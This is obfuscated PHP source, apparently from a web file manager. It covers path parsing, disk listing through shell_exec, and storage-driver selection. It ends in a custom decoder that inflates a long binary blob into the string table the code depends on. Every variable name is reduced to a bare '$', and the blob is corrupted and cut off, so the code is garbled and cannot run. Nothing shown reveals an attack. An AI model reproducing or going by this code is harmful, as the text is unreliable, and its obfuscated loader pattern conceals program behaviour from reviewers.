self::clear($); $ = array_values(self::typeList()); preg_match($[1318], $, $); $ = array($[466] => !1, $[1319] => !1, $[463] => !1, $[86] => $, $[1220] => !1, $[1219] => $[12]); if (is_array($) && count($) == 5) { $ = $[1320] . $[2] . $[373]; if (in_array($, $)) { $[$[1220]] = $[1]; $[$[33]] = $; $[$[1321]] = substr($, 1, -1); $[$[445]] = $[3]; } $[$[1219]] = $[4]; } $ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1284]] = in_array($[$[33]], $); return $; } public static function isTruePath($) { $ =& $_SERVER[]; if (substr($, 0, 1) != $[1320]) { return !0; } if (strpos($, $[453]) === 0) { return !0; } if (strpos($, $[1288]) === 0) { return !0; } if (strpos($, $[1322]) === 0) { return !0; } if (strpos($, $[1323]) === 0) { return !0; } if (strpos($, $[1324]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1129], $[248]), $[53], $); $ = str_replace($[99], $[8], $); $ = $[1325]; if (substr($, 0, 3) == $[1326]) { $ = substr($, 3); } while (strstr($, $)) { $ = str_replace($, $[8], $); } $ = preg_replace($[1327], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function pathTrue($) { $ =& $_SERVER[]; if (!$) { return $[12]; } $ = str_replace($[563], $[8], str_replace($[1328], $[8], $)); $ = str_replace($[563], $[8], str_replace($[1328], $[8], $)); if (!strstr($, $[1326])) { return $; } $ = explode($[8], $); foreach ($ as $ => $) { if ($ !== $[1329]) { continue; } for ($ = $; $ >= 0; $--) { if ($[$] === $[10] || $[$] === $[1329] || $[$] === -1) { continue; } if ($[$] === $[12]) { $[$] = -1; break; } $[$] = -1; $[$] = -1; break; } } $ = array(); foreach ($ as $) { if ($ !== -1) { $[] = $; } } $ = implode($[8], $); if (strpos($, $[1330]) === 0) { $ = $[1326] . substr($, strlen($[1330])); } return $; } public static function sourceID($) { $ =& $_SERVER[]; $ = self::parse($); if ($[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1331]), !1); } return $[$[445]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ = '', $ = '') { $ =& $_SERVER[]; $ = substr($, 1, -1); $ = $[1332] . $ . $[1333] . $ . $[1334]; $ = $ ? $ . $ . $[8] : $; return $; } public static function hashPath($, $ = true) { $ =& $_SERVER[]; $ = is_array($) ? $ : IO::info($); $ = _get($, $[1335], $[12]); if (!$ && isset($[$[221]])) { $ = trim($[$[221]], $[120]); } if (!$ && isset($[$[183]]) && $[$[183]]) { $ = IO::info(KodIO::make($[$[183]])); $ = _get($, $[1335], $[12]); } $ = md5($[$[86]] . $[$[78]] . $[$[87]]); if (!$ && file_exists($[$[86]])) { $ = Cache::get($ . $[1336]); $ = !1; if (!$) { $ = IO::hashSimple($[$[86]]); Cache::set($ . $[1336], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $; } public static function hashPathSafe($, $ = true) { $ =& $_SERVER[]; $ = self::hashPath($, $); return md5($ . $[1337] . Model($[815])->get($[816])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1338])) { return; } define($[1338], self::systemPath($[181])); define($[1339], self::systemPath($[1340])); define($[1341], self::systemPath($[1342])); define($[1343], self::systemPath($[1344])); IOHistory::bindEvent(); } public static function systemPath($) { $ =& $_SERVER[]; $ = $[1345] . ucfirst($); $ = Model($[815])->get($); if ($) { return $; } if ($ == $[181]) { $ = self::make(Model($[870])->systemRootPathAdd($[576])); } else { $ = self::systemPath($[181]); $ = self::sourceID($); $ = self::make(Model($[870])->mkdir($, $)); } Model($[815])->set($, $); return $; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $ = Cache::get($); if (!$) { $ = IO::infoFullSimple($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[][86]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][812])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1346] . $[$[445]] . $[1334]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1347]]; foreach ($ as $ => $) { $ = $[1348] . $; $ = LNG($); if ($ != $) { $[$][$[32]] = $; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1349]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ =& $_SERVER[]; $ = array(); if ($GLOBALS[$[6]][$[1350]] == $[1351]) { $ = $[1352]; for ($ = 0; $ < strlen($); $++) { $ = $[$] . $[1353]; if (file_exists($)) { $[] = $; } } return $; } if (!function_exists($[100])) { $[] = $[881]; return $; } $ = explode($[248], shell_exec($[1354])); array_shift($); array_pop($); $ = array($[1355], $[1356], $[1357], $[1358], $[1359], $[1360], $[1361], $[1362]); foreach ($ as $) { $ = preg_split($[1363], $); $ = $[count($) - 1]; if (!strstr($[0], $[1364]) || !$) { continue; } $ = rtrim($, $[8]) . $[8]; if (in_array($, $)) { continue; } $[] = $; } return $; } public static function isSameDisk($, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1350]] == $[1351]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ = self::diskList(); $ = !1; $ = !1; sort($); $ = array_reverse($); $ = rtrim($, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($ as $) { $ = strlen($); if (!$ && substr($, 0, $) == $) { $ = $; } if (!$ && substr($, 0, $) == $) { $ = $; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $) { $ =& $_SERVER[]; $ = self::driverType($); $ = self::driverType($); if ($[$[33]] == $[$[33]] && $[$[1365]] == $[$[1365]]) { return $[1366]; } if ($[$[33]] == $[914] && $[$[33]] == $[108]) { return $[1245]; } if ($[$[33]] == $[108] && $[$[33]] == $[914]) { return $[109]; } return $[1367]; } public static function driverType($) { $ =& $_SERVER[]; $ = str_replace($[1368], $[12], strtolower($->getType())); if ($ == $[802] || $ == $[1369] || $ == $[1370]) { $ = self::defaultDriverInit(); } else { if ($ == $[1255] || $ == $[1371]) { $ = IO::init($->pathParse[$[1202]]); } } $ = $->path; $ = str_replace($[1368], $[12], strtolower($->getType())); if ($ == $[108]) { return array($[33] => $[108], $[1365] => $[12], $[86] => $, $[97] => $); } return array($[33] => $[914], $[1365] => $->pathDriver, $[86] => $, $[97] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $ =& $_SERVER[]; $ = $ ? self::driverType(IO::init($)) : !1; return $[$[33]] == $[108] ? !0 : !1; } public static function allowCover($, $ = true) { $ =& $_SERVER[]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[77] || $[$[78]] <= 100) { return !1; } if (isset($[$[1372]]) || !$[$[86]]) { return !1; } if (isset($[$[218]]) && !$[$[218]]) { return !1; } static $ = false; if (!$ || !$) { $ = self::driverType(IO::init($[$[86]])); $ = $[$[97]]; $ = $[186]; if ($[$[33]] == $[108]) { $ = $[1373]; } if ($[$[97]] && is_array($[$[97]]->config)) { $ = $[$[97]]->config; if (isset($[$[1374]]) && $[$[1374]]) { $ = $[1373]; } } } return $ == $[1373] ? !0 : !1; } } class PathDriverBOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function getHost() { $ =& $_SERVER[]; $ = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ = explode($[200], $); return $[0] . $[200] . $this->bucket . $[1375] . $[1]; } } goto b; b: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\225\331\347\240\220\311", "\x92\xe0\x92\xb5\xcf\x87"); $_SERVER[] = explode(strrev('|||'), gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275 x\33\325\3250\314\322\276\220\264\245\245\224RJ\240\203I\260\235h\261\235\335\211\223\310\262\34\213\310\226#\311Y\260".base64_decode('zWQkjaSxJY2sGXlLUlpo2MLSlh1C2ctSIGVLKfsbaKEFWtpSllJoG8hCoeyFvqUt3w==')."]\xce]f$\xc3\xfb?\xff\xf7<_\x9e$\xba\xf7\xdce\xeer\xee\xb9\xe7\x9e{\xce\xb9O\xdew\xe5\xae\xfO\xddt\xc0\xa6\xcfn\xfa\xec\x85\xf\xff\xe1\xd1K\xef"."\245\341M\237A\277\7\322\3607\266\36\274\37\371s\330\326\263\32\32\272\26L\237\323\363\371\363\356\272U\273I\273Y;7\32y\342\311\360\27~u\313 \241"."=\327>1\261g\377\375\362\231\323g\265\242\314\264l+\375Q\212\246\255\350\343\206e[\24\2202\213\31#K\303F\221\376\372\351O_,R\326\246\255".base64_decode('06iP/qjQLvK/NZI3WLraE02o8b7e3lAsAZla5fSCmYZQSStrBfh+SS9bqDVydWrJLA==')."\xe9E\x7D\x0\xd2\x9a\xad%5\xbj\xeahW;B\xbd\x91\xe8z5\xb1\xbe7\x49\x92\xeaHE/O\xd0\x18\x9\xc6m\xadl'\x8c\x82\xces\x8c\x95y\xbb".strrev(''."\r".'QA@we`X"Fpp"J=+C').strrev('h(RuhVHSMx%%iCNiA')."\253\364 \16\245\1\255b\233F1E#\241q\273\254 8jk
M\264^\204\252\342\241H(\230Pp\3\225\316X\264[\201I(h\226\255\227\225\265"."]\xa1XH\xc1\x8dn\xab'}\xadW\x0_z\xd0P(\x81HD\x99\xaa\x6[/\x94X5\xb4L\x8d\xca\xa2\xb1\x8ePLi_\xaf\x88\x11J\x99\x85\x82Y\xf4"."\241Z\320L\332RSC\261\30
x\0\275#a<i\20\211vv\306C<\6\235[\35A-\231\370\351\210\2453y[\35\325\362\25\206\246\303\364\267"."\x1e~\xe0\xd7\xb4\x0uG\x8c\xa2Q\x14\x85*L\x93/+\x8TXn\x9dA\xf44\x4\xa\xa8\xbc\x9\xe5\x92\x0K\xb2\\x6Z\x98\xa34\xd8\xb6\x8c\xfe.\x81"."bI\x15\xa7\xe9e[\xd5\x8b)3m\x14a\xf9.\x74\xd4\xec\G\xd9@\x19h<c\xe6\xd3,l\x19\x93\xd0\xb9\x8c\x91\xd7{*\x59\xb\x8f\xa6rF>".strrev('W'."\r".'um'."\0".'CJrj^q |%JW`/hr+f]')."\312\233Z:\256\227y\327\263\23U\24\255\3302\260B\262u\232\345B\7\242\25\360}\264N\214\276\32 \303l\245\244\245\21\3637\364\177\333\373\237\301\376"."\25\350\277F \206\3\320\246\234\236\317\253\372\270\16K\251\220\236o\261\301\360[I\243\350G\20\32
G\325\234f\345\272\323\363UR\212\321\330\264>\356+"."\345J\260\316\371\322\36p\240:\36\272\36\323\16I\224:o\246\264\274\334E\32\316\331v)\256\27\323x$\240+\346X\221\214TI\327!S\207GI+"."\xdd\xcaz\xa5\xab\xd5h\xb5X\xc1B\x9e\x87X\xef8\xcc\xe2@{\x9cMg:\x3H\xca6\x8a:\xf8\xa0a\x11\x9a'\x16\xacV*\xe5\x8d\x94f\x1bf\xd1o\xa6".base64_decode('bN32WnZZ16DGQCqlW5Y3aBbtspn3BvJ5c8wbLRtZo9iqzAbyixLRMvdiktgKa7duiQ==')."\202\21\7\177fv[\305\316x\27\2615\311s\227\265\242\225\321\313\336\20\254\214V\55\226\323E\226\255\303\260J\246e\340\346\265*\232mk\251\34\246)"."\xa2\xfa\xb6O\xc8o\x14\xf3FQ\xaf\xca\x1b\x1a/\x19e\xddbmUVv'\xa0\x12T\xbb\xee\xed-k\xd9\x82\xd6\xaa\x94*I42\xb0Rk\xc0hn\x18\x9a"."V%\205\243\36\245P\261loYG\304\311@\33 r8\343\355\306\353\312\320\323\3368\242\341\0\236\3334OA\250\243\2604
\355J$z\325p'".strrev('tUhnF^*y3(9Zf wjB{')."\xb1$\x9c9\x8e\x8\xd\xcb\x8c\xa7\xbbd{cZ1\x8b\xc7'9a\xeb\x96\x9bT\xb5\xa3-\xdd\x97\xa1\x8b\xd9\x97\xd43f\x19zc\x8df\x9ds\x11\xd1\x8bY;".strrev('qXfNzc{_gD"('."\r".'L51Bkb')."K\213\204W\342\261\353\360Z(\223W\316\305\352\216\30\5\3w\317\346)d\260\21{\260\22\32\344'}n\33\260f7\244\3474z\321\377\263\33\373\7".":|\263\7\227\373
Q\306\337\354kVZ\232\26(\275\210_1\264\274\2\235\256\312\321\244DW9\207E |\321,\352\23708x\303\223(\203kX".")0\26Z\335\27\212'\324\356P\242+\332\1_\17\5 \241\351\312f\275\355\247?\203\200\0\203\364G5\254Ni\347\301QN\241T39\204&\243".base64_decode('W2dkGGY+XNCy0j6gOrcJHMOJ3QI5EJatNdJ8H0HRLt3I5mDADFxdysybZS2PqSdbOA==').base64_decode('OqNoWQMoWilfQTjjx19I5CqFJBB9xDZmdVtwZdYEYl0KbHNDO6Qd7nBsYRDzq3ieBw==')."|\245b\266q&\324\245\266\314o\302\0@Q\350"bO+z\365\30\370R&Z\24\335\332\260\336\212;\5$f \201\262\210D{\226\340\355\242\315\275"."\xa6\xf0<\xe5}\x5T\x9\xa93h\xf2\xd\x8e\x1e\x0\x968\xb7\xbE/\x97\xcd\xf2\xb1\x90\x83\x84\x15\xb2\xe7\xe0y\x83\xcam\xbe\x83[h\xf9\xb0p\xce\xe4;\xbeY"."\206P\253\37\372=\253\245\223\355\207\376\370\\364Wl~i\263\240\261\255\204l\2z\232\356\2\244\333\221\322\245k\202\215\261\313\266\211\241eG\26\204O".strrev('k%C0pT,Jc&6:Z49').strrev('$N\'`D#UJ:<nB"3["Q4y/3'."\0".'B')."\x14\xb26\x16N\x84\xd8\xa\xet\xa8\x81`/\x8dq\x9e\x84\xd0\xe0\xea\xd\x96BF[`\x92Q#\xfc\x82\x13@\x9bZ\xc9,Z\xba7\x5%\xc4y\xa5*)-"."6J\240\263bsu\355\227\343^\2550\351- \22\340\345\315s\262)
l\240\224\333 \3034\211\375\17\17\36Z\205\214?\352\215\306\241\300rE<"."j\222/\226\336>H*H(\2622\4\300\351\200U9
8\317\300\3328\333\273*(\177\331\230\324D\227\226\263\366\260\216\24\362\202\345u\366\312+f\36".strrev('zjCF"lM-XDumy2=!}t(]z9U')."o\xc1\x8bk\xc1C\xe6kjjbu\xcdY\xa0\xe4\x10U\x2\xf45\x8bi2-\xec\x9cQI\xd\xb3\x15\xa2\xa5\x18\xcf\x87\x8f\xc9\x96w\xcc`\x4u&g\x8fg"."V\243\313L\347\326\1UT\10o\247j)\3741\25\325hW,yh\320:J\243B\6ce)T\313g\321(\333\271\202\243M\343:\345\260\370"."d\361Q\304c[k7c\353\361W\23l\313\256\325\206u\265\332\260\316\325\206u\325m\240 \313\310\26Q/\331\236\224\350
\367\254R\273\243\35\241\210".base64_decode('Gu5BW3CiGt7X2xFgK1WGt0cTXQ5oH9qE1wQiYXf20LpwPBGvmYRgfSFXSke72hsLdQ==')."\206\327\361hg8\24\351\210\253\301@\260K\344\351 t\207\370\316\253\347\323\226\337\231_E\334D\234\213;\324Q,\272aX\250:$*;;\253\202".base64_decode('WCDGUocBh+5igRHpicqQtMJ4HX6oKrDdoKABjdQYR9hAfxqVQFyxSyqn+8kJHiTdYA==')."q\xb4\x95\xc1\xf7\x15\xe0l\xaaZ\xa0\xe2<\xed\x12\xfbY\x1b\x10\xc8\xd8\x9c\xafq\xc5\x11\x95\x13ih\x6\x2D2\x850\x81\xcc\x8|\xc6@4\xb3l\x7Xs2".base64_decode('QiqkRntDsQCWKalrY9GelVBgLKezBoRh+BvYQQNES7bYetApQWMyBjHoQyYbyk305w==').base64_decode('eCAF6EgKlKXIRj2Jd2HGRbFABpE9toOaFf61pGnmGUFGjDDfGbhoashiSDLO9pQ5nA==').strrev('lu'."\0".'s}p41FqB&|6hb#a&4YTzWF')."'\xd\x8c\xcdi\xe8\xf7\xce\xf1\xd\xa2@\xe3\xec\x154\xa\xb1\x1\x9f#\xca\x18\xb8J\x99\x97\xc6\xe7\x83\x6kyc\xeb\x80\x7f\xc0\xdf\xb0\xbc\xb5?\xe0\x9d\xd4\xbc\x93M"."\336\305\336A\304\3665\316\1\300\340\306\26\317\274\3158\3\312\270\374\270A\364\3236\260|\326\200\367\370onX\321?0X\337:\347\330\1\337q\3c\203"."\xb3\x1b\x97\xb3\xef\xa4*e\xc4Y2\x8a\x85\x9a\x9a\x9e\xd3\x80\x9a\x84\xce\xd<K\x91\xecmR\x6\x960i\x94\x4t\xe3\x82\xcd\xc\x8e\xe6P\xcf\x8a\x12\xfd\xde\x819".base64_decode('g8ulchLI/S1ESdFGm+P5At4Tcc94UbzuAT8qxZTYlvC6SGopoAOIRgqu3S5zmZXzRA==')."\xbbq\x16\xfd\xdd\xcc&2\xab\x8f\xf3\xfd+c\x94\x1;+Ec\x84q\xcdE}\x4\x2\xa6\xcd\xf0;\xa9\xdbc:C\xf\x4w\xc4\x11r0\xba\x8f\x92\xa4X^"."\3323\210pA\332n\31\223WR\361Ib\214\307\3206\2\3634
r[)\255\244\307\245\36\252j"\320\36 \251\214\302\0%fqB\25\333\271@\33".strrev('<r![i\\'."\r".'cG0l[BNJRFTPMu')."%\x8d1\x84X\xf2\xa4\x8bE\x8f)\x14\xb4\xa9$f\xc8B\xac3c^\xfd\xd\x3\x3\x95~==\xd8\x8f\x10_\xf3f\x67\xce\xdd\xdc\xc8\x8e\xb3\xfe\x1\xf4\x87E"."\x25\xa4\xcc*\xa7\x86*b\xc4|\xb8\x1d\\xac\xe8\x88\xf0d\x1a5\xcb\x9c\x3.9N\x8b\xb6ikyG\x15\x9\xca\xa4\x89\xf1Q `\xa3\xb3\x1d\x11\x14\xb"."\363l\222x\236\220\323\36.\320\342\214\220$\37\306%\342\272\355\3439<R\242\212\342\216\253\222\266:F\354\213h9\5\245\255\216\2129\343\344l\351\220\351"."[\272VN\345:+\371\274\315\217\254yc\30\276\0k\5\256\30\274\260\33\314\251U\264\323,3\351\320lhF\335\354Z\31\303\305\242\231N\312\250&6"."\xd9\x95\x1\xc4\xce$\x94\x6&\xeW\xc2=J{4\x1a\x9\x5z\x14\xbc\x9f\xc3>\x84\x98\x85x\xa87\x8061,g\x8a'B \xa1\xfwxY\xbd\xeb\xbc\xec".base64_decode('oMwDBgy7WaJ8o26r6Ow5zOZSPmrjM4QHH3g9mLfwoFZ78BnZI05oHiFu9owa+hgJ8A==')."\xd3\x93\x7\xeU\x1eq\xba\x87`\xb8\xc3cX\x1d\xe4pH>@\x92X\x13\xd0\xa9\x1a\x1dn\xf2\xda\x84\x876'\xa2\x8f\xeay\xf;\xf7{X\x1b=L\xec\xe1!"."\342\212\16hV\37ZN\320,\22DT3\347\301\10\204\361\327#\4\340\36t\30\327\313$\2148Wz\304\231\323\223-\233\225R/\373\246\24\243\315".strrev('\\A6JpONn!l+@GI0L3h').base64_decode('tZntco48RJjDuU884CK0RixU3IFODa5aaLVymCNo0YmoQtYtbjkEr+uWFrjvP/BHEw==')."Z6.}\316\326\262\354[\230X\241\324)\263\322pLOM\244\204\370\241C\22j8c\25TC\\313\270\272\345!\353\250\326\32\250=\307\34\257\371\224"."L\x9f6\x8d\x8d1Cv>\xbf\x8e5\xf2\xe9\xab\x13\xfaEH`\xb4$\x98\x8\xdaXL\x86\xe3hS\xeb\xcc\xb3Ai\x91\x93\x81\x0{\x9c1\xbc\xb8|\x84 \x93"._kodDe('KbmAjC06QZI32v4deVOXnnsnx8MfhaHB9NeXkJ2MAjvHOscgUR6b+Fnpl88Qzd/fPBE=').base64_decode('xQWaOBvhYVGlGvHwcMuDgNGBdF/sTgwUFZthBTg/zYIzGJbrQUhnMDG1Ml5K5EYAWA==')."\273\34\337\305Q\261\246\30J(\370\3\36\211W\301$\305+V\207\24u\16\271#][(\36\242^\2438a\24\343F\241\224\257\202\212]X0\1x"."q\x8b\x18\xc5\xca\xa9\xc2t\x13\xc1"\x1aZ\xbf\x7\xae\xeb<y\xa38,m\xd0B\x2\x87Z\x8f\x8bJm\x87\x9a\-\x87\x8a\xa4,b\x4X\xd4\xb1\xba\x1\xffs".base64_decode('WlkMLaNJmDDw/BbOIqJStow2KtgVRxmJslj2BOuLHHRWSqMdHvLbhboiL14+WZiqsA==').base64_decode('TJQgIcoQQSOHfkhHEqYHi4vRD93U2T0uycRWQaXQAeJnHF6DyAHj0tDwNzByAqyFKg==')." \1089r2\7\264%\1N\354\21\367\236G{[\331\207W\314J\274C\2611\241\304N\306\300\270\216\372 \325\213\32\342Uirn!\371\303\304_"."l\26l,\305\202s\3169
eE\203\360p\252\325\355\300\370\;\336Y69\253\313\367yw\246 9K\362\353x\327\336,\215\207\203\237\250\2Ie"."\334\234\205\352\212bn\243\306\266CA\354\206@K\27\214\242\257L\2673\37:!\200R\205\247Ib\276\4\325\331Hoa`\373\333\354\232g\3334\321"."\xb1\xb3\xec+\xa3/\x8b\x6I\x14\xf\xc8\x5\xb9a\xc7\xbb\xa2\xcc2\xf0Z,\x94 \xd1n'g\xc4J\xc6K\x1a#\xd9\x9ckc\xd8K\xce\x18\x15AFI\x93%"."\x8d\x7\x12\x8fp\xe\x17\x13\x85P\xda\xb01\x4/3\x93]Z\x88\x8cb\x9b\x140\x99N\x93\xed\xa6j\x8a\xc5q\xc13\xcb\x91\xd3\xc9"\x0p6\xd9\xc7}\x82\xa3"."\251\255;\2222K0\357\222\32U\301\34\325%\240\317\262\315\222H\221\2424YJ\22\225J\271\370T\220\26\241U\224&|\260\302\222\27\312\222C4]".base64_decode('qD58bPDJxDlQLjM0pd3E144IKIMwlYuzNVZrj6KVh0aFkhStCn/YRxe5T0uno+zqVQ==').base64_decode('DldnlQWKtSsiGmu8KilWO3sgnxc6Le74lEXo4pYLyZApi3WSEyy7QK4F42eXqflx9w==')."\325\252\223 O\315\247LA\312\3044\326\216\243\359\2303\212:\223\263d\214\262U\2132\375?f\210\253G\36\257\220\251\320\5\247I\242g\254\2549\252".base64_decode('ywcFLl8VlIhvzlUsB2z7UkS1HXxUjNQvLScHhqDlS8cDb0zhqM+aAmfd+XQmfSY0cA==')."\234\357\247r!\234\204\347R\256T\360m\237\220\237W.x89\37\302]\2340U[Y2\257e\347S\337{\347\241wi\370?\247\376\364\234\227w\322"."\360\374yi`\323\201DW\227\204\205\266\356\226\265\23\346Q\217\35~\320\37\374\273\36]p\365\215\307>\265\352\232\347\237\331\322x\314\227g\235\365\\354"."\373\347\375|\353_\336\364\214=\365\302\25\273\337\270\245\353\346\377<\226\273|\321\311\327u\255>\342\306\255_\275\3657\7x\237\376\371!O\327\5\16{\377".strrev('<mo>x_y4>7|]WC').base64_decode('sMez88avWTv98qMuTN6+c/HDldMffOQx37v1a4ZmdL/z8b+/87Dv5/Fl1zx6WUT5Sw==').base64_decode('x1/vmdF047b9lv2so1i/cPGM0YPvat7SfOa/c7/48eJF+dnH/b30/J6zl1x07SOhXw==').base64_decode('zX9pySnvNFx56ylvGN6P3q4fe+aLz826/ORDJr+wrLfzX/0/euzU0e1PPLbkipdHbw==').base64_decode('vfb49Q8eFH7z0VPemzF605aj/ddf+Nb3P3unuv9FgWOPPa/pznN2DX/9/aW/WnD1nQ==').strrev('NkWQ.rwsrs|')."\37}\366\220\346\273\206n\212\375v\325\254\277t\351\257\255\316}\270\363\243\362\271G\224\357}\370\264\360\275\373\267u\277\261\377\325'-\274z\301\255\251\301]".base64_decode('jxzXeWXTybnEwNfGX55x2OZ9xx2bDD6297hH6o4pbH1kz37HHhHZcNDKg7/nGd11QQ==')."r\341\231O\355\270\250\356\365\337&\267\375\361\372\5\273\346}\373\260\314\314e\247-\370\361\323\271\327\316\332\270\337K;\266}o\332\365\243\207\2356c\354\214"."\xe6s\xe\xff\xe1gv\xfe\xe0s\xd7/\x8e\xac\xf8\xf3\xc1\xdfx\xf8\xeb\xed\xe3\xcb\x92\xd6\x99[\x8ek\x9a\xf6Blx\xe8\xcd\x13\xef\xf5]\xdcZ\xfa\xe6\xe3\x3\x7f\xdc"."\xd9u\xf1\xaf\xbe|\xcbe\xaf\xff\xfc\xed\x9e}\xb7\x1d8\xbd\xff\x92\xe7W\xc\x9c\xf4\x98u\x90v\xd5\xf2\xbb\xfe\xd8z\xc7U\xd6\x85/\xdd\x9e_U\x9ev\xc9\xbcG"."\237\354;\344\374\7~\31\271eO\361\230\366\302MW_\367\317\360\350\321\201\25\327\255\177{\333\325_\32\365d/\3333c\337Q\323\236\370\354{\323\16"."\335\277\257\365\320\33\374M\207\235\260\260p\261\357O;\236\352\371\356\266\357\324\315P\236\274\350O\34\230\272`\347\360\237\177\365\374\353\333\36\373\3749k_".strrev('[y^7|gzWcuC:;')."?\xbc\xe9\xc1s\xb6\xdf\xb3\xe2\xd4i\xa7\xdf\xda\xb4\xe4\xed\xcf\\xf3\xb5\xd3\xa77mX\xf4\x82\x9d\xfc]\xee\xf9\xe6[\xce\xbc\xe7k\xd7=S>\xfe\xac3\x8a\x7\xfe"."\xa3\xa1\xa2/\xfb\xea\x99\x9e\xbb;z\x1f\xbe\xbb\xfd\xd5s\xdfN\x9c2+\xb3\xf8P\xff\xd9\xcb\x97}>>\xd86r\xd0\x93\x1b\x16D\x1e\xfd\xeb\xec/\x1cp\xde\x87"."\335o<\374\223\337\35\23\217u\237tb\362\214\367~\270\356\363\247l\333v\177\346\222\374ag7\35zz\250\356\304\347\277:\177\303}?\274\353\365\241\207".base64_decode('Fvzh8P7Aruat8644/ytHB2+9aNdbB/z6/p1nfPvRr+w6cO73D7z3GP2g2zu716zb8Q==')."\xc1\xa3\xbf\xfd\xf3\xe3g\xbd;7{\xe3\x5#\x89\xd9\xfb\x9d4<\xe3\xae\xfb\x86n\xfd\xddkG\xff\xe8o\xc7\xec=z\xe1O~\xafm_x\xc2\xbe\x19_\x9d\xf3"."\231m\277\230\355\337=\366\310\305\317E\276r\333g\276|\340\367_{\364\314u?\375\326\255\255\253O\374\373\265g\376\371\207\307m[\323\\331\350\273\252\364"."\263\364\217\17zeG\352\340\357]9}\367\226\276;\302\215\327\37\365\323\221\263\217\370\362?w\234s\305\266\323^\232\365\372\222\310e\301\310\323\357\354<\372"."\x95?<\xeb\xcb\x872?|\xce\xf3\xccq\xaf\xcd\x89{\x1elx\xfa\xb6\xfe}\xbb\x16\xcf|\xf1\x89\xe1Lw\xfe\x91\xab\xde\x18\x9c[\x8N\xff\xe0/-\xfb\xfd\xe4"."\xc3\xa3\xebF\xe\xbf\xaf\xe5o\x9b>L\xbc2y\xf7\x1\xbfn\xfe\xe3\xf1Mug_|\xf6\x91\x7\x1cw\xfe\x96Gn\x8b\xfc\xcf\x89\xcf\x1c\x7f\xb0\xfa\xd8\xc1\xd3~".base64_decode('WFzR3jSxMv9mf116/alHvr7zjEOWr84nHj/82kuPe3DODR9u/MLfb1ycuOYHZ6848A==')."\313\23/\277\231{f\355\351O\255\261\236\237q\326Q\227<<\222~9?v\341\241\237;\362\356\7\373_\37\275\374\212\231\327}\306wm\303\312u\7\356"."\333/\242}\347\256\261o\215\274\225\271\351\306c\337\370\334\341\317~\343O/?\27\10\236\234\354y\344\27\345#\317\214]z\346\366\315k\337x\354\367\257\"."1t\xfc\xa2\xbd>3\xd9\xfa\xdf\x81#\xcd\xd9\xaf\xb6\xdc\x12\xdco\xec\xb0\xb1}\xaf\xdc8\xe3\xa2\xe7\x3\xd7\xdf1\xf2\xfa\x82\x1b\xdez\xe9\x99\xf7c\xb7\xdf\x7f\xfbE".base64_decode('6x+68KeH753e9fX8eTfc8acvXfueumz5x4/82qd+vPvdp+7curztow9+9sQTC82XHw==').strrev('g^\\:i];r\\~nWC_').base64_decode('8HjXYfc8vvi7LZuil++v/PaFwOf++dQN19zzi9v8DdYBCz4zOPzz5gP+MO9bA8f/8Q==').base64_decode('ukNfNHfbz5516SXrbmj6/dkrF64LjXz9u+3TZ136xwNOP/2OCzpu8rX/pu2lS9p++Q==')."\xe0\xc5\xebO\xbe\xff\x9b\x1b\xbbo\xdd\xb3\xf8\xb9\x86\xb\xb7\x9e7\xf7\xf5\xe1\x8f6z\xaf_=\xff\xfd\xfa\xd7b\xd7N\xee\xb8\xe1\xb2\x96\x19\x8bO(\xff\xe8\xc2\xe6C"."F\317j~\367\257W\337\274\355\330\177\177/\377_\355\277;\343\204\313\236\232\356\275\243\356\246\323\274V\361\311'\367m\275w\246\357\254\25O_\377\343G".strrev(';?<?aw1>/~]<+u?'."\r".'w').base64_decode('jjbXPn7nlR9bpee+OLqn/eZ1a2979W79kR8c3Xbs1vaTXvvHKz/tfPO5y77Y/8oDQw==')."_\365\365\234w\370\311\275\337\360\234\360\342\3\17\374\356\204\27\216\371\365\216\316+N\332\374\364/\317\377j\353\223\277{\345\243-\267\264]\356\317<r\305\236"."\256\312\345\267\376\327)/\274\220y\371\205\27_z\376\310\257\333\213\376\2747\377\322\200\372D\342(o\317\245\27L\277\366\216\367\277<m\313\337\336\236w"."\363w\3360\236\230\366l\353\352g\203\231S3\257\234\276p\335!\332\271\7\4\256x\360\275\317l\333/z\334Esf~\341O\2779\345\314\273?\354\270"."\xe2+/~